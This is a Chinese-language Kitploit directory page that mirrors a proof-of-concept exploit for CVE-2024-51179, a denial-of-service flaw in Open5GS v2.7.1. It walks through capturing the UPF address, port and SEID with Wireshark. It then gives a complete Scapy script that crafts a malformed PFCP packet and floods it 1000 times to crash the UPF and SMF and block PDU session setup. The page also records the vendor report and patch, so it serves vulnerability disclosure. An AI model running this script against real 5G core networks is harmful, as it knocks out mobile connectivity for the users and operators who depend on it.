Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-51179 — 针对 CVE-2024-51178 的概念验证利用:精心构造的 PFCP 数据包洪泛导致 Open5GS UPF/SMF 拒绝服务,破坏 5G 核心网 PDU 会话建立。 | Kitploit
工具/GitHubGitHub/lakshmirnr/cve-2024-51179
数据包嗅探与分析漏洞分析漏洞利用网络安全渗透测试
GitHublakshmirnr/cve-2024-51179

CVE-2024-51179

针对 CVE-2024-51178 的概念验证利用:精心构造的 PFCP 数据包洪泛导致 Open5GS UPF/SMF 拒绝服务,破坏 5G 核心网 PDU 会话建立。

查看仓库
431年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-51179:攻击者发送的精心构造的数据包泛滥可导致 Open5gs 中的 UPF/SMF 崩溃

漏洞描述

描述: Open 5GS v.2.7.1 中存在一个问题,允许远程攻击者通过网络功能虚拟化(NFV)中的用户面功能(UPF)和会话管理功能(SMF)引发拒绝服务。分组数据单元(PDU)会话建立过程受到 NFV 内部崩溃的影响。

攻击者在获取用户面功能(UPF)的 IP 地址、PFCP 端口和 SEID(会话端点标识符)后,可以构造并发送大量恶意 PFCP(分组转发控制协议)数据包到 UPF。如果攻击者能够访问用户面流量,则可使用 Wireshark 等工具截获所需参数。

漏洞类型: 拒绝服务

影响: 发送恶意数据包后,UPF 出现错误,影响新 PDU 会话的建立。此外,由于恶意 PFCP 数据包的泛滥,SMF(会话管理功能)也受到影响,从而破坏核心功能

攻击复现步骤

前置条件: 5G 核心网络使用 Open5GS 作为核心网络,UERANSIM 作为 gNB(下一代基站)和 UE(用户设备)的仿真工具。

执行攻击的步骤

  1. 通过检查 Open5GS 组件(AMF、SMF、UPF 等)的状态,确保 Open5GS 正在运行。
  2. 使用 UERANSIM 发起 PDU 会话,并通过 Wireshark 捕获流量,验证 PDU 会话的建立。
  3. 打开 Wireshark,选择用于用户面的网络接口。
  4. 开始捕获流量,并设置显示过滤器为 PFCP 数据包:
  5. 从 UERANSIM 发起一个 PDU 会话,确保捕获中可见 PFCP 数据包。
  6. 在 Wireshark 中,从捕获的 PFCP 数据包中找到并记录 UPF IP 地址、UPF 端口(通常为 8805)和 SEID。
  7. 使用以下脚本向 UPF 发送大量数据包。
root@kitploit:~
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import IP, UDP
import socket
import struct
UPF_IP = "192.168.56.113"  
UPF_PORT = 8805  
message_type = 53  
sequence_number = 1
seid = 0x0010000000000000  
version = 1 
spare = 0
mp = 0  
s_flag = 1  
byte0 = (version << 5) | (s_flag << 2)
length = 0  
seid_bytes = seid.to_bytes(8, 'big')
sequence_number_bytes = sequence_number.to_bytes(3, 'big')
pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
ie_type = 150  
ie_length = 13
flags = 0x01
fseid_seid = seid.to_bytes(8, 'big')
fseid_ipv4 = socket.inet_aton(UPF_IP)
fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
pfcp_message = pfcp_header + fseid_ie
pfcp_message_length = len(pfcp_message) - 4  
pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
pfcp_message = pfcp_header_with_length + fseid_ie
packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
packet[UDP].chksum = None
print(f"Packet Summary: {packet.summary()}")
hexdump(packet)
for _ in range(1000):  
    send(packet)
print("Sent 1000 malicious PFCP packets to UPF.")
  1. 使用 Wireshark 监控网络影响,或检查日志以观察数据包处理过程中的任何异常或失败。
  2. 尝试从 UERANSIM 建立新的 PDU 会话,查看是否因泛滥而导致建立失败。

攻击后的 SMF 状态

smfcurrent

WIRESHARK 捕获的恶意数据包

377424722-253fa5a4-fbae-4e0d-8638-1f1d59633b22

当前状态

该漏洞在 Open5GS GitHub 页面(https://github.com/open5gs/open5gs/issues/3497)上记录为 Issue #3497,已向 Open5GS 厂商报告。厂商将根本原因确定为内存释放问题导致系统崩溃。现已应用补丁,并更新了代码以解决该问题。您可以在此处查看更新后的代码。

https://github.com/open5gs/open5gs/commit/e3790b45b4bc0b261e0946cf93755099a9525cfd

CVE-2024-51179 已发布。

致谢

数字大学喀拉拉邦, 电信发展中心(C-DOT)

下载工具